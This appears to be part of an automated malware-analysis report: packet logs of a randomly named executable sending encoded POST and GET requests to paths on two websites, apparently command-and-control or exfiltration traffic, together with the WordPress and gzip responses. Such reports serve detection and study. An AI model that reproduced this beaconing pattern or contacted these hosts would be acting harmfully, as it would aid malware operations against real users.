                                                            Nov 29, 2024 15:12:12.877106905 CET1236INData Raw: 77 70 54 65 73 74 45 6d 6f 6a 69 53 75 70 70 6f 72 74 73 22 7d 29 3b 72 65 74 75 72 6e 20 76 6f 69 64 28 61 2e 6f 6e 6d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 28 6e 3d 65 2e 64 61 74 61 29 2c 61 2e 74 65 72 6d 69 6e 61 74 65
                                                            Data Ascii: wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t
                                                            Nov 29, 2024 15:12:12.877118111 CET1236INData Raw: 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 70 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 61 62 61 6c 6c 61 6e 65 74 2e 63 61 74 2f 77 70 2d 69
                                                            Data Ascii: ' /><link rel='stylesheet' id='wp-components-css' href='http://aballanet.cat/wp-includes/css/dist/components/style.min.css?ver=6.7.1' media='all' /><link rel='stylesheet' id='wp-preferences-css' href='http://aballanet.cat/wp-includes/css/dis
                                                            Nov 29, 2024 15:12:12.877124071 CET776INData Raw: 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e 36 36 37 65 6d 20 2b 20 32 70 78 29 20 63 61 6c 63 28 31 2e 33 33 33 65 6d 20 2b 20 32 70 78 29 3b 66 6f 6e 74 2d 73 69
                                                            Data Ascii: w:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-inline-css' type='text/css'>:root{--wp--
                                                            Nov 29, 2024 15:12:12.877134085 CET1236INData Raw: 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 3a 20 23 66 63 62 39 30 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 3a 20 23 37 62 64 63 62 35 3b 2d 2d 77 70 2d 2d 70 72
                                                            Data Ascii: inous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purp
                                                            Nov 29, 2024 15:12:12.877433062 CET1236INData Raw: 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 35 34 2c 32 30 35 2c 31 36 35 29 20 30 25 2c 72 67 62 28 32 35 34 2c 34 35 2c 34 35 29 20 35 30 25 2c 72 67 62 28 31 30 37 2c 30 2c 36 32 29 20 31 30 30 25 29
                                                            Data Ascii: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: l
                                                            Nov 29, 2024 15:12:12.877443075 CET1236INData Raw: 36 70 78 20 30 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 31 29 3b 7d 3a 77 68 65 72 65 28 2e 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 29 7b 67 61 70 3a 20 30 2e 35 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72
                                                            Data Ascii: 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            3192.168.2.449746134.0.14.158801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:12:14.373250008 CET10734OUTPOST /6xrr/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 10304
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.aballanet.cat
                                                            Origin: http://www.aballanet.cat
                                                            Referer: http://www.aballanet.cat/6xrr/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 4b 7a 68 67 58 51 68 42 2f 49 47 6c 36 46 55 42 79 6d 59 43 31 73 39 51 56 63 62 70 33 50 31 4d 32 58 4c 77 33 39 7a 61 4f 32 78 35 61 4c 37 63 63 6d 48 62 47 6d 53 62 43 6b 6e 76 4b 57 49 66 39 36 2b 36 55 57 34 77 41 5a 63 74 48 4c 56 46 63 73 47 65 57 62 36 72 38 52 6f 58 6a 4a 5a 67 39 34 48 74 33 4b 4b 64 2f 32 78 37 39 66 51 2f 56 70 70 39 42 6a 6c 43 57 76 71 2f 6a 59 2f 73 36 76 77 6d 4b 5a 52 2f 36 54 55 52 6a 45 33 5a 4a 6b 36 4c 50 6b 52 6e 7a 74 2f 43 6d 59 6c 45 34 52 75 6d 51 48 65 72 44 56 48 75 74 47 2f 4e 4a 51 50 48 46 7a 49 4b 72 68 78 35 53 53 33 45 79 75 79 43 35 6a 6b 2b 4d 58 2f 71 32 5a 65 43 6e 52 4f 6d 61 2b 70 67 33 69 45 38 68 53 55 77 75 35 70 79 34 52 39 66 62 4d 65 31 4b 55 69 46 6a 48 6b 46 42 2f 54 79 30 57 63 50 41 45 30 71 69 35 57 75 34 41 45 48 30 4d 33 32 31 70 36 63 68 4d 34 5a 77 75 4e 50 75 38 4b 35 30 7a 31 77 34 53 52 79 52 42 47 41 6f 30 47 76 77 6c 72 30 78 68 32 74 58 78 6a 4d 45 67 37 2f 50 4a 73 68 55 66 44 72 6a 38 4c 4b 74 72 [TRUNCATED]
                                                            Data Ascii: XHa8pH8=KzhgXQhB/IGl6FUBymYC1s9QVcbp3P1M2XLw39zaO2x5aL7ccmHbGmSbCknvKWIf96+6UW4wAZctHLVFcsGeWb6r8RoXjJZg94Ht3KKd/2x79fQ/Vpp9BjlCWvq/jY/s6vwmKZR/6TURjE3ZJk6LPkRnzt/CmYlE4RumQHerDVHutG/NJQPHFzIKrhx5SS3EyuyC5jk+MX/q2ZeCnROma+pg3iE8hSUwu5py4R9fbMe1KUiFjHkFB/Ty0WcPAE0qi5Wu4AEH0M321p6chM4ZwuNPu8K50z1w4SRyRBGAo0Gvwlr0xh2tXxjMEg7/PJshUfDrj8LKtr5t587XUse0guff/h6QDc2uWiIxKzFAgmcrnomZIJrp2Nbw8iCdPDQIVVgpyJ+zvrVuY011M7NbokRHs4DQL1kdoH8Hh5jlcvFOjvjBTopG3RK6sChOHzSN+qfBhIoR7tll9YMvcF+JgwLTWqpkHHB/pkpiJdx7s1NSuSkIWw+Khy4zBQ4s8lIRphfrLUFb1I8homfDvYLG5DdHgBsz2OoKqEIygqlvZqlbmF5DYlKN27zsQjQhLCUlv2+NY83VpB4lRgtzY0dzCaJqi3loka1m6nnrM+Z+ACS2sYedqhdyROq2PaHViIjEjsOSDqpRPbbYJjN66P7BBGx/VyqoWsCp4VQj5i7bq2XUNTKI+RVtamTDHsxHl6CQ8+lDskk+92D7T/ELNw1VB5hUSWSRwFOf/06hZshRopwJ6j4wHEUpxBDrytgYsid8IXuQa5z2EMznUkm5G13saiaC3tnVhvzFRIiq6H0JPrEnTX6gvE5faLAJu7thRf9xZaBa5lFFJ68KFIk3U/k2U1BDnszTcaWbNDZzbnskD+ndPfFe8h9kjOLFLjKLyG9xXxE3SOdL/XsbpkbNI5AcQkVWuoZp6eCW5KKbKZfUoL343icK4xBj22tbNiLptW24BaCcUAPHlBPFqxYDQDWJJiBBbM6zzMDm0cdn/B1QSnmm [TRUNCATED]
                                                            Nov 29, 2024 15:12:15.769757986 CET1236INHTTP/1.1 404 Not Found
                                                            Date: Fri, 29 Nov 2024 14:12:15 GMT
                                                            Server: Apache
                                                            Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                            Cache-Control: no-cache, must-revalidate, max-age=0
                                                            Link: <https://aballanet.cat/wp-json/>; rel="https://api.w.org/"
                                                            Upgrade: h2,h2c
                                                            Connection: Upgrade, close
                                                            Transfer-Encoding: chunked
                                                            Content-Type: text/html; charset=UTF-8
                                                            Data Raw: 31 34 62 64 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 61 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 c3 a0 67 69 6e 61 20 6e 6f 20 74 72 6f 62 61 64 61 20 2d 20 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 2c 20 41 72 71 75 69 74 65 63 74 6f 20 44 6f 63 74 6f 72 20 55 50 43 2c 20 74 72 61 79 65 63 74 6f 72 69 61 2c 20 74 65 73 69 73 20 64 65 20 65 73 74 75 64 69 6f 2c 20 70 75 62 6c 69 63 61 63 69 6f 6e 65 73 20 64 65 20 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 2c 20 4c 61 20 63 61 73 61 20 61 20 63 75 61 74 72 6f 20 76 69 65 6e 74 6f 73 20 65 6e 20 6c 61 20 [TRUNCATED]
                                                            Data Ascii: 14bd<!doctype html><html lang="ca" class="no-js"> <head> <meta charset="UTF-8"> <title>Pgina no trobada - Albert Aballanet</title> <meta name="keywords" content="Albert Aballanet, Arquitecto Doctor UPC, trayectoria, tesis de estudio, publicaciones de Albert Aballanet, La casa a cuatro vientos en la Bonanova"> <link href="//www.google-analytics.com" rel="dns-prefetch"> <link href="http://aballanet.cat/wp-content/themes/rwd-theme/img/icons/touch.png" rel="apple-touch-icon-precomposed"> <link rel="alternate" type="application/rss+xml" title="Albert Aballanet" href="https://aballanet.cat/feed/" /> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="Arquitecte Doctor UP
                                                            Nov 29, 2024 15:12:15.769773960 CET1236INData Raw: 43 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 09 3c 73 74 79 6c 65 3e 69 6d 67 3a 69 73 28 5b 73 69
                                                            Data Ascii: C"> <meta name='robots' content='noindex, follow' /><style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style>... This site is optimized with the Yoast SEO plugin v23.1 - https://yoa
                                                            Nov 29, 2024 15:12:15.769788027 CET1236INData Raw: 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 35 2e 30 2e 33 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77
                                                            Data Ascii: .w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/aballanet.cat\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.7.1"}};
                                                            Nov 29, 2024 15:12:15.769886971 CET1236INData Raw: 75 32 30 30 64 5c 75 32 62 31 62 22 2c 22 5c 75 64 38 33 64 5c 75 64 63 32 36 5c 75 32 30 30 62 5c 75 32 62 31 62 22 29 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 22 75 6e 64 65 66 69 6e
                                                            Data Ascii: u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!
                                                            Nov 29, 2024 15:12:15.769927025 CET1236INData Raw: 77 70 54 65 73 74 45 6d 6f 6a 69 53 75 70 70 6f 72 74 73 22 7d 29 3b 72 65 74 75 72 6e 20 76 6f 69 64 28 61 2e 6f 6e 6d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 28 6e 3d 65 2e 64 61 74 61 29 2c 61 2e 74 65 72 6d 69 6e 61 74 65
                                                            Data Ascii: wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t
                                                            Nov 29, 2024 15:12:15.769938946 CET1236INData Raw: 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 70 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 61 62 61 6c 6c 61 6e 65 74 2e 63 61 74 2f 77 70 2d 69
                                                            Data Ascii: ' /><link rel='stylesheet' id='wp-components-css' href='http://aballanet.cat/wp-includes/css/dist/components/style.min.css?ver=6.7.1' media='all' /><link rel='stylesheet' id='wp-preferences-css' href='http://aballanet.cat/wp-includes/css/dis
                                                            Nov 29, 2024 15:12:15.769949913 CET1172INData Raw: 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e 36 36 37 65 6d 20 2b 20 32 70 78 29 20 63 61 6c 63 28 31 2e 33 33 33 65 6d 20 2b 20 32 70 78 29 3b 66 6f 6e 74 2d 73 69
                                                            Data Ascii: w:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-inline-css' type='text/css'>:root{--wp--
                                                            Nov 29, 2024 15:12:15.769962072 CET1236INData Raw: 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 31 32 32 2c 32 32 30 2c 31 38 30
                                                            Data Ascii: ient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 10
                                                            Nov 29, 2024 15:12:15.770348072 CET1236INData Raw: 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6d 69 64 6e 69 67 68 74 3a 20 6c 69 6e 65 61 72 2d 67 72 61
                                                            Data Ascii: 02,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36p
                                                            Nov 29, 2024 15:12:15.770360947 CET1236INData Raw: 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d 70 6c 61 74 65 2e 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 29 7b 67 61 70 3a 20 31 2e 32 35 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d
                                                            Data Ascii: {gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp-
                                                            Nov 29, 2024 15:12:15.890402079 CET1236INData Raw: 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61
                                                            Data Ascii: s-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-c


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            4192.168.2.449752134.0.14.158801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:12:17.084341049 CET364OUTGET /6xrr/?XHa8pH8=HxJAUmNG5a+243k4mB40tOImfLHqxfdDyQfNvKnIMmllTqWhJmPDYD6FfyD5P2YCiK6XZxIiPJwBP5cvXMaBQeeC+l9WsNh28r7y2sDNsg9aoK9FWK5iLU0=&cBL4=dBU4KtqPg HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Connection: close
                                                            Host: www.aballanet.cat
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Nov 29, 2024 15:12:18.636545897 CET492INHTTP/1.1 301 Moved Permanently
                                                            Date: Fri, 29 Nov 2024 14:12:18 GMT
                                                            Server: Apache
                                                            Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                            Cache-Control: no-cache, must-revalidate, max-age=0
                                                            X-Redirect-By: WordPress
                                                            Upgrade: h2,h2c
                                                            Connection: Upgrade, close
                                                            Location: http://aballanet.cat/6xrr/?XHa8pH8=HxJAUmNG5a+243k4mB40tOImfLHqxfdDyQfNvKnIMmllTqWhJmPDYD6FfyD5P2YCiK6XZxIiPJwBP5cvXMaBQeeC+l9WsNh28r7y2sDNsg9aoK9FWK5iLU0=&cBL4=dBU4KtqPg
                                                            Content-Length: 0
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            5192.168.2.44977715.204.67.7801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:12:26.697000027 CET623OUTPOST /0mwe/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 204
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.madhf.tech
                                                            Origin: http://www.madhf.tech
                                                            Referer: http://www.madhf.tech/0mwe/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 46 34 58 73 73 64 63 57 39 64 59 6d 54 58 30 6d 2b 4f 7a 6d 48 6d 71 4d 79 70 4d 30 56 78 49 49 7a 4b 57 71 52 6f 65 2b 48 66 75 39 49 6a 46 68 63 2b 6a 56 6b 4f 69 58 70 79 7a 5a 77 54 31 46 45 39 46 57 45 44 34 32 5a 63 49 61 79 47 68 57 64 6f 74 4a 35 2f 6c 6a 4b 70 50 66 6f 66 43 4d 61 50 4b 69 6b 62 68 52 79 68 64 45 2f 38 78 48 43 7a 74 4b 32 2f 39 39 46 67 64 32 79 6a 48 63 63 4d 4f 39 2b 6b 44 33 69 77 33 77 49 31 64 7a 51 44 4f 6a 62 42 32 4f 32 4c 64 61 63 32 71 32 55 58 35 6c 70 73 68 6e 5a 6e 47 62 32 6e 58 2f 61 69 76 36 57 41 39 68 58 7a 32 2f 52 49 69 4f 6b 67 3d 3d
                                                            Data Ascii: XHa8pH8=F4XssdcW9dYmTX0m+OzmHmqMypM0VxIIzKWqRoe+Hfu9IjFhc+jVkOiXpyzZwT1FE9FWED42ZcIayGhWdotJ5/ljKpPfofCMaPKikbhRyhdE/8xHCztK2/99Fgd2yjHccMO9+kD3iw3wI1dzQDOjbB2O2Ldac2q2UX5lpshnZnGb2nX/aiv6WA9hXz2/RIiOkg==
                                                            Nov 29, 2024 15:12:28.130115032 CET871INHTTP/1.1 200 OK
                                                            date: Fri, 29 Nov 2024 14:12:27 GMT
                                                            server: Apache
                                                            set-cookie: __tad=1732889547.4026118; expires=Mon, 27-Nov-2034 14:12:27 GMT; Max-Age=315360000
                                                            vary: Accept-Encoding
                                                            content-encoding: gzip
                                                            content-length: 576
                                                            content-type: text/html; charset=UTF-8
                                                            connection: close
                                                            Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4a 51 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 2a d3 b1 5a 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 cb 96 fa ae 4a ca 16 55 cd 0f 32 d4 61 d5 ab ba 6d 0a 42 dd 96 e2 18 49 ca a0 bd 19 08 68 3f a0 4c 09 ef 48 dc a8 ad 3a 46 53 08 5e cb 54 dc 04 d1 18 bb 46 3f 78 63 49 18 d3 60 d1 1b 5b dc 84 b4 2a c5 11 fb 5a aa 2a d9 2a 0f 1e 6b e3 51 d3 cf ce d8 5b 90 90 b5 44 c3 52 88 dd 6e 57 3c ab 13 8b 7e 87 e2 43 b6 4a 12 21 e0 0a 09 14 90 e9 d1 6d 08 5c 03 17 8b 05 f4 46 7b 17 50 3b 5b 07 20 07 78 87 7a 43 c8 c0 c7 12 60 1a a0 16 e1 85 72 18 bc eb 4d e0 98 32 5d 80 c6 79 08 ae 47 a6 a8 e0 6c d2 6c ac 26 e3 2c 1f 77 dd b5 d2 b7 97 53 aa 7c 0e f7 c9 6c 67 6c ed 76 45 e7 b4 8a a8 c2 e3 d0 29 8d f9 6f 9e 4e b3 66 90 67 ef b3 f9 2a 39 24 09 f9 7d 64 b2 ca 40 e0 6b ff 7d 32 21 21 20 4d 9b fc cf 6a 6f a2 41 e6 cf 62 c3 9a e1 db a4 59 c2 a7 67 27 5f ae 58 87 aa f3 fb de 59 43 8e 43 eb 65 94 1d f0 10 99 4f ac 64 [TRUNCATED]
                                                            Data Ascii: TMo0=pvJQl;a*Z[$&iPrm:]lQJU2amBIh?LH:FS^TF?xcI`[*Z**kQ[DRnW<~CJ!m\F{P;[ xzC`rM2]yGll&,wS|lglvE)oNfg*9$}d@k}2!! MjoAbYg'_XYCCeOd6+6og+vOq~y=TGNvzD[bjxeFB}6G9k6^/;8G0uWqbykY-\&RA8Y3Z8%P|q8?WnrSH+px2]WZ^>%fWxV\o


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            6192.168.2.44978315.204.67.7801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:12:29.356425047 CET643OUTPOST /0mwe/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 224
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.madhf.tech
                                                            Origin: http://www.madhf.tech
                                                            Referer: http://www.madhf.tech/0mwe/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 46 34 58 73 73 64 63 57 39 64 59 6d 56 33 45 6d 74 39 72 6d 57 47 71 50 39 4a 4d 30 4f 68 49 4d 7a 4b 53 71 52 70 72 7a 48 4e 4b 39 49 42 64 68 66 2f 6a 56 6a 4f 69 58 6d 53 7a 51 76 6a 31 4f 45 39 34 72 45 44 30 32 5a 63 4d 61 79 43 78 57 64 37 46 4f 35 76 6c 6c 44 4a 50 5a 32 76 43 4d 61 50 4b 69 6b 62 45 38 79 68 46 45 38 50 35 48 43 58 5a 46 71 76 39 38 43 67 64 32 34 44 47 62 63 4d 4f 36 2b 6c 4f 59 69 79 50 77 49 31 74 7a 51 57 36 67 4d 52 33 6b 79 4c 63 77 59 55 37 5a 4e 58 41 57 6f 4d 39 63 51 44 65 6d 33 68 61 6c 4c 54 4f 74 45 41 5a 53 4b 30 2f 4c 63 4c 66 48 2f 69 34 6e 78 39 50 33 63 64 50 4b 31 66 2b 43 73 6f 2b 48 42 6a 63 3d
                                                            Data Ascii: XHa8pH8=F4XssdcW9dYmV3Emt9rmWGqP9JM0OhIMzKSqRprzHNK9IBdhf/jVjOiXmSzQvj1OE94rED02ZcMayCxWd7FO5vllDJPZ2vCMaPKikbE8yhFE8P5HCXZFqv98Cgd24DGbcMO6+lOYiyPwI1tzQW6gMR3kyLcwYU7ZNXAWoM9cQDem3halLTOtEAZSK0/LcLfH/i4nx9P3cdPK1f+Cso+HBjc=
                                                            Nov 29, 2024 15:12:30.719446898 CET871INHTTP/1.1 200 OK
                                                            date: Fri, 29 Nov 2024 14:12:30 GMT
                                                            server: Apache
                                                            set-cookie: __tad=1732889550.1818195; expires=Mon, 27-Nov-2034 14:12:30 GMT; Max-Age=315360000
                                                            vary: Accept-Encoding
                                                            content-encoding: gzip
                                                            content-length: 576
                                                            content-type: text/html; charset=UTF-8
                                                            connection: close
                                                            Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4a 51 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 2a d3 b1 5a 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 cb 96 fa ae 4a ca 16 55 cd 0f 32 d4 61 d5 ab ba 6d 0a 42 dd 96 e2 18 49 ca a0 bd 19 08 68 3f a0 4c 09 ef 48 dc a8 ad 3a 46 53 08 5e cb 54 dc 04 d1 18 bb 46 3f 78 63 49 18 d3 60 d1 1b 5b dc 84 b4 2a c5 11 fb 5a aa 2a d9 2a 0f 1e 6b e3 51 d3 cf ce d8 5b 90 90 b5 44 c3 52 88 dd 6e 57 3c ab 13 8b 7e 87 e2 43 b6 4a 12 21 e0 0a 09 14 90 e9 d1 6d 08 5c 03 17 8b 05 f4 46 7b 17 50 3b 5b 07 20 07 78 87 7a 43 c8 c0 c7 12 60 1a a0 16 e1 85 72 18 bc eb 4d e0 98 32 5d 80 c6 79 08 ae 47 a6 a8 e0 6c d2 6c ac 26 e3 2c 1f 77 dd b5 d2 b7 97 53 aa 7c 0e f7 c9 6c 67 6c ed 76 45 e7 b4 8a a8 c2 e3 d0 29 8d f9 6f 9e 4e b3 66 90 67 ef b3 f9 2a 39 24 09 f9 7d 64 b2 ca 40 e0 6b ff 7d 32 21 21 20 4d 9b fc cf 6a 6f a2 41 e6 cf 62 c3 9a e1 db a4 59 c2 a7 67 27 5f ae 58 87 aa f3 fb de 59 43 8e 43 eb 65 94 1d f0 10 99 4f ac 64 [TRUNCATED]
